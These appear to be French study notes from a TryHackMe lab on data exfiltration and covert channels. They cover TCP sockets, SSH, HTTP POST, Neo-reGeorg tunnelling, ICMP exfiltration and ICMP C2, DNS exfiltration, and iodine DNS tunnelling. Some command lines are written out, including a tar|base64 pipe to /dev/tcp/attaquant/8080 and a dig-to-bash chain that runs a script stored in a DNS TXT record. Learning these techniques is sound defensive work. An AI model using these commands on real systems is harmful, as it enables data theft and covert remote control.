🏃♂️collection / exfiltration
Consiste à Transférer des données sensibles ou confidentielles en dehors du réseau d'une organisation.
💾 Données exfiltrées
Noms d'utilisateur et mots de passe ou toute information d'authentification.
Détails de comptes bancaires.
Décisions stratégiques commerciales.
Clés cryptographiques.
des données personnelles (clients et employé).
Données de code de projet.
❌ Techniques utilisées
Ingénierie sociale et phishing : Utilisation de tactiques trompeuses pour inciter les utilisateurs à divulguer volontairement leurs informations.
Téléchargements vers des appareils non sécurisés ou externes : Copie de données vers des périphériques non surveillés ou des appareils externes tels que des clés USB ou des disques durs.
Prévention :
Utilisation de systèmes de détection d'intrusion (IDS) pour surveiller le trafic réseau et détecter les activités suspectes.
Mise en place de pare-feux de nouvelle génération (NGFW) pour bloquer les tentatives d'exfiltration de données et limiter l'accès non autorisé.
Sensibilisation et formation des utilisateurs pour reconnaître les tactiques d'ingénierie sociale et éviter les pièges de phishing.
Adoption de politiques de sécurité strictes concernant la gestion des données et l'accès aux informations sensibles.
🚳 TCP Socket
Le client initie la connexion en envoyant une demande de connexion au serveur. Le serveur répond en acceptant la demande, établissant ainsi une connexion. Une fois la connexion établie, les deux parties peuvent s'échanger des données de manière fiable et ordonnée. Après la transmission des données, la connexion est fermée.

Utilisation de port NON - standart (éviter les systèmes de détection et les pare-feu)
Donc plus facilement repérable
techniques d'encodage et d'archivage
Ecouteur (machine attaquante)
Choisissons le port 8080 pour notre écouteur :
Exfiltration des données via socket TCP (machine cible)
Explication de la commande :
tar zcf - task4/: Crée une archive compressée de la chaîne de dossierstask4/.base64: Convertit le fichier tar en représentation base64.dd conv=ebcdic: Convertit les données en encodage EBCDIC.> /dev/tcp/attaquant/8080: Envoie les données via une connexion TCP à l'adresse et au port spécifiés.
Conversion des données reçues à leur état d'origine
Utilisez l'outil dd pour convertir les données reçues en ASCII, puis décodez-les avec base64 :
dd conv=ascii if=task4-creds.data : Convertit les données reçues en représentation ASCII.
base64 -d : Décode les données base64.
Extraction des fichiers de l'archive tar:
tar xvf task4-creds.tar : Extrait le contenu de l'archive.
🚨 SSH
établit un canal sécurisé, ce qui signifie que toutes les données transmises sont chiffrées, rendant l'interception et l'analyse du trafic plus difficiles.

Sécurité élevée grâce au chiffrement
les pare-feu peuvent bloquer les connexions SSH sortantes.
Exfiltration (cible)
Utilisation de la commande
tarpour archiver les données :Archivage des Données : Utilisation de
tar cf - task5/pour créer une archive de répertoiretask5.Transmission via SSH : La commande
ssh thm@jump.thm.com "cd /tmp/; tar xpf -"permet de transférer l'archive et de l'extraire directement dans le répertoire/tmp/de la machine attaquante.
Dans le répertoire /tmp automatiquement ! Pas besoins de nc
🚧 HTTP POST
Pourquoi utiliser HTTP POST ?
difficile à détecter !
Les requêtes POST ne sont jamais mises en cache : ce qui réduit les traces laissées.
Les requêtes POST ne restent pas dans l'historique du navigateur : elles sont plus discrètes.
Les requêtes POST ne peuvent pas être mises en favori : elles sont moins susceptibles d'être examinées plus tard.
Les requêtes POST n'ont pas de restrictions sur la longueur des données : ce qui permet de transférer de grandes quantités de données.
Données en clair car HTTP
Vous pouvez utilisez curl avec des URL HTTPS pour exfiltrer les données en toute sécurité.
Démonstration :
/var/log/apache2/access.log (enregistre toutes les requêtes HTTP reçues par le serveur)
La première ligne montre une requête GET avec un paramètre
filecontenant des données encodées en base64.La seconde ligne montre une requête POST, mais elle ne révèle pas les données envoyées.
🔐 Fonctionnement
La cible encode et envoi les données au serveurs
Le serveur web compromis reçoit des données via une requête POST, les enregistre dans un fichier, puis les décode pour extraire le contenu archivé.
L'attaquant les récupères
✏️ Exemple
Sur le serveur web compromis (attaquant)
Configurez un serveur web (Apache ou Nginx) et créez un fichier PHP pour gérer les requêtes POST.
Ce code crée un fichier
/tmp/http.bs64et y écrit le contenu envoyé via une requête POST.
Sur la victime
Envoyer les données avec une requête POST via curl.
tar zcf - task6: Compresse le dossier task6.base64: Encode le contenu compressé en base64.curl --data: Envoie les données encodées via une requête POST à contact.php.
sur le serveur web de l'attaquant :
Vérifiez et décodez les données reçues.
Si le fichier
http.bs64contient des espaces à la place des+(caractères), utilisezsedpour les corriger.Décodez le fichier base64 et extrayez le contenu archivé.
🚫 HTTP Tunneling
Le but est de permettre à une machine externe d'accéder à des ressources situées sur la machine interne, qui n'est pas accessible directement depuis Internet.
Le tunnel HTTP est utilisé pour établir une connexion sécurisée entre ces deux machines, en permettant le transfert sécurisé de données via le protocole HTTP.
Communication sécurisée
Contournement des restrictions réseau
Transfert de données sécurisé
Dépendance à un serveur intermédiaire
✏️ Exemple
La machine attaquante (votre machine)
un serveur web intermédiaire (accessible depuis Internet) :
uploader.thm.comla machine cible (la machine dont vous voulez récupérer les données, mais qui est en local).
app.thm.com
🗝️ Outil Neo-reGeorg
Neo-reGeorg est un outil utilisé pour établir des tunnels HTTP, permettant ainsi de contourner les restrictions d'accès réseau. Voici comment l'utiliser :
Génération de Fichiers Clients :
Utilisez un outil comme Neo-reGeorg pour générer un fichier client encrypté. Ce fichier client agira comme un tunnel sécurisé entre la machine attaquante et le serveur web intermédiaire.
Téléversement du Fichier Client :
Téléversez le fichier client généré (par exemple,
tunnel.php) sur votre serveur web accessible depuis Internet (uploader.thm.com), il agira comme un point de transit pour vos communications.
Connexion au Client Tunnel :
Utilisez Neo-reGeorg pour vous connecter au client tunnel en spécifiant l'URL où vous avez téléversé le fichier client. Cela crée un canal de communication sécurisé entre votre machine attaquante et le serveur web intermédiaire. Par exemple :

Le serveur SOCKS5 a démarré et écoute sur l'adresse 127.0.0.1 (votre propre machine) sur le port
1080. Il affiche l'URL du tunnel, qui est le point d'entrée du tunnel HTTP établi avec le serveur web intermédiaire (uploader.thm.com).
Cette URL vous permet de spécifier où se trouve le tunnel pour vous connecter et commencer à utiliser le tunnel pour acheminer le trafic HTTP.
Utilisation du Tunnel HTTP :
Une fois connecté au client tunnel, vous pouvez utiliser le tunnel HTTP comme un proxy local sur votre machine. Il écoute sur localhost (127.0.0.1) sur le port 1080.
Cela signifie que vous pouvez envoyer des requêtes HTTP via ce tunnel, qui seront ensuite acheminées vers le serveur web intermédiaire.
Accès aux Machines Internes :
Pour accéder à une machine interne (par exemple,
app.thm.com) via le tunnel HTTP, utilisez des outils commecurlavec l'argument--socks5. Par exemple :
En suivant ces étapes, vous pourrez établir un tunnel HTTP sécurisé pour contourner les restrictions d'accès réseau et communiquer avec des machines internes depuis des machines externes.
💿 ICMP
Les paquets ICMP sont souvent utilisés pour tester la connectivité et diagnostiquer les problèmes réseau.
L'en-tête d'un paquet ICMP offre une petite zone où des données peuvent être incluses.
Protocole standart, donc pas bloqué par le pare-feu et
faible volume de trafic
quantité limitée
volumes élevés de trafic ICMP peuvent encore être détectés
🔌 ICMP exfiltration
Exfiltrer des données en les encapsulant dans des paquets ICMP et en les envoyant à un serveur de destination.
Metasploit
Lancez le framework Metasploit et sélectionnez le module
icmp_exfil.Définissez l'option
BPF_FILTERpour filtrer les paquets ICMP à l'exclusion de ceux provenant de l'adresse IP de l'attaquant.
Configurer l'Interface Réseau pour écouter le trafic ICMP :
Envoyer un Paquet de Déclenchement :
Le "BOF" (Beginning of File) et le "EOF" (End of File) sont des marqueurs utilisés pour indiquer le début et la fin d'un ensemble de données à transférer.
Depuis la machine de l'attaquant, utilisez nping pour envoyer le déclencheur de début de fichier (BOF) à la victime.
Envoyer des Données et un Paquet EOF :
Envoyez les paquets de données souhaités depuis la machine de l'attaquant en utilisant nping.
Réception des Données dans Metasploit :
Surveillez le framework Metasploit pour les paquets ICMP entrants.
À la réception du déclencheur EOF, enregistrez les données reçues sur le disque.
🏧 ICMP C2 Communication - exécution de commande
Exécuter des commandes sur une machine cible via des paquets ICMP, généralement dans le cadre d'un contrôle à distance.
Comment exécuter des commandes sur une machine cible via le protocole ICMP ?
ICMPDoor est un reverse-shell open-source écrit en Python3 et scapy.
L'outil utilise le même concept que celui discuté précédemment, où un attaquant utilise la section "Data" à l'intérieur du paquet ICMP.
La différence est que l'attaquant envoie une commande à exécuter sur la machine cible.
Une fois la commande exécutée, la machine cible envoie la sortie de l'exécution dans le paquet ICMP dans la section "Data".
Sur la cible, établir un canal de communication via ICMP avec la machine attaquante :
Assurez-vous de spécifier l'interface à utiliser pour la communication et l'adresse IP de l'attaquant.
Sur la machine attaquante, lancer le programme
icmp-cnc, afin d'établir une connexion avec la cible via le protocole ICMP.
Vous recevrez alors la réponse de la commande exécutée sur la machine Cible.
Ce processus vous permet d'établir une communication bidirectionnelle avec la machine Cible via le protocole ICMP, permettant ainsi l'exécution de commandes à distance.
🛜 DNS
Les données seronts exfiltrés via le domaine enn passant par les sous domaines pour atteindre le domaine controlé par l'attaquant
Explication
Enregistrement du Domaine : L'attaquant enregistre un domaine, par exemple
tunnel.com.Configuration du Serveur DNS : L'attaquant configure l'enregistrement NS de
tunnel.compour pointer vers un serveur contrôlé par l'attaquant.Envoi des Données : Le malware ou l'attaquant envoie des données sensibles sous forme de sous-domaines de
tunnel.com(ex.passw0rd.tunnel.com).Transmission des Requêtes DNS : Les requêtes DNS passent par le serveur DNS local puis par Internet.
Réception des Données : Le serveur DNS de l'attaquant reçoit les requêtes DNS contenant les données exfiltrées.
Extraction des Données : L'attaquant extrait les informations des noms de domaine.
Exigence :
Nom de domaine (attaquant)
Configuré les enregiistrement DNS
serveur DNS configuré
Utilisation courante du protocole DNS, ce qui rend la détection difficile.
Peut contourner les pare-feu et les politiques de sécurité car le trafic DNS est souvent autorisé.
Taille limité (FQDN - 255 caractères, Sous domaine 63 caractères)
Faible débit de transfert de données en raison des limitations du protocole DNS.
Risque de détection si les requêtes DNS anormales sont surveillées de près.
Nécessite un contrôle sur un serveur DNS pour traiter les requêtes spéciales, ce qui peut être difficile à obtenir dans certains scénarios.
🖥️ Modification des Enregistrements DNS
Pour réaliser l'exfiltration de données via DNS, nous allons utiliser le domaine tunnel.com. Vous devrez mettre à jour les enregistrements DNS pour ajouter un enregistrement NS pointant vers votre machine de l'attaque .
🖱️ Exfiltration de Données Manuelle
Supposons que nous avons un fichier creds.txt contenant des données sensibles. Voici les étapes pour exfiltrer ce fichier via le protocole DNS :
Encodage des Données sur la victime
Diviser une chaine trop grande
Préparation de plusieurs requêtes DNS courtes
Utilisez la commande fold pour couper la chaîne en segments de 18 caractères, ce qui est suffisamment court pour respecter les limitations des sous-domaines.
Préparation d'une seule requête DNS longue
Fusionner tous les segments en une seule chaîne et ajouter le suffixe de domaine
Capture des Requêtes DNS
Sur la machine de l'attaquant, capturez le trafic réseau pour les paquets UDP sur le port 53.
Envoi des Données
Envoyez les données encodées comme sous-domaine en utilisant la commande dig.
Extraction des Données
Nettoyez et décodez les données reçues.
Elle prend la chaîne encodée en Base64 la réassemble, puis la décode en texte lisible.
😪 DNS C2 Communication - exécution de commande
Les frameworks de communication C2 utilisent le protocole DNS pour envoyer des commandes et recevoir des résultats. Ils peuvent aussi utiliser des enregistrements TXT DNS pour exécuter des scripts ou télécharger des fichiers sur une machine victime. Voici comment exécuter un script bash via DNS en ajoutant un enregistrement TXT au domaine tunnel.com.
Étapes
Créer et encoder le script :
Créez le script et enregistrez le sous
/tmp/script.sh:Encodez le script en Base64 :
Résultat attendu :
IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=
Ajouter l'enregistrement TXT DNS :
Accédez à l'interface web de gestion DNS
Ajoutez un enregistrement TXT :
Nom :
script.tunnel.comType : TXT
Valeur :
IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=
Vérifier l'enregistrement TXT :
Utilisez la commande
digpour vérifier :Résultat attendu :
"IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo="
Exécuter le script :
Récupérez et exécutez le script :
Cette commande :
Récupère l'enregistrement TXT avec
dig.Supprime les guillemets doubles avec
tr -d "\"".Décode le contenu Base64 avec
base64 -d.Exécute le script avec
bash.
🤕 Tunneling DNS (TCP over DNS)
Flux de Données en Tunneling DNS
Nous allons établir un canal de communication via DNS en utilisant l'outil iodine. Nous allons configurer une communication entre les machines attaquante, Intermediary et Target pour accéder à un serveur web interne sur Target.
iodined - exécuter coté serveur
iodine - exécuter sur la cible ou proxy
Résumé des étapes
Établir un canal de communication via DNS (MAJ des enregistrements DNS pour pointer vers la machine attaquante + serveur iodined sur l'attaquant + connectons le client iodine sur l'intermédiaire)
Vérification du trafic DNS (tcpdump)
Envoi des données à travers le tunnel DNS sur l'intermédiaire (dig)
accéder aux ressources du réseau interne (Dynamic port forwarding + connexion ssh + proxychains)
Étapes de Configuration
Mettre à jour les enregistrements DNS :
Assurez-vous de créer un nouvel enregistrement NS pointant vers votre machine attaquante.
Lancer le serveur iodined sur attaquante:
Exécutez iodined sur attaquante:
Explication des arguments :
-f: Exécute le serveur en avant-plan.-c: Ignore la vérification de l'adresse IP et du port du client pour chaque requête DNS.-P: Définit un mot de passe pour l'authentification.10.1.1.1/24: Définit l'IP du réseau pour a nouvelle interfacedns0.att.tunnel.com: Le serveur de noms configuré.
Connecter le client iodine sur Intermédiaire :
Sur Intermédiaire , connectez-vous au serveur iodined :
Une fois la connexion établie, l'interface
dns0est créée avec l'IP10.1.1.2.
Vérification du Trafic DNS
Vous pouvez confirmer que tout le trafic passe par le protocole DNS en utilisant tcpdump sur la machine Attacker :
En suivant ces étapes, vous établissez un tunnel DNS permettant de faire passer des communications réseau par le protocole DNS, même si les autres protocoles sont bloqués par le pare-feu.
Envoi des données à travers le tunnel DNS sur l'intermediaire :
Envoyez chaque morceau de données via des requêtes DNS. Par exemple, utilisez
digpour envoyer chaque morceau de données :
Connexion SSH avec redirection de port dynamique (pour acceder a des ressources du réseaux interne, par exemple la cible)
Ouvrez une nouvelle terminale sur L'attaquante et connectez-vous via SSH à Intermédiaire :
Explication des arguments :
-4: Force l'utilisation de l'IPv4.-f: Met SSH en arrière-plan.-N: N'exécute aucune commande sur la machine distante.-D 1080: Configure le port 1080 pour la redirection dynamique.
Utiliser la connexion SSH comme proxy pour accéder à Target :
Configurez ProxyChains ou Firefox sur Attacker pour utiliser
127.0.0.1:1080comme proxy.Exemple avec ProxyChains :
Ou directement avec
curl:
Last updated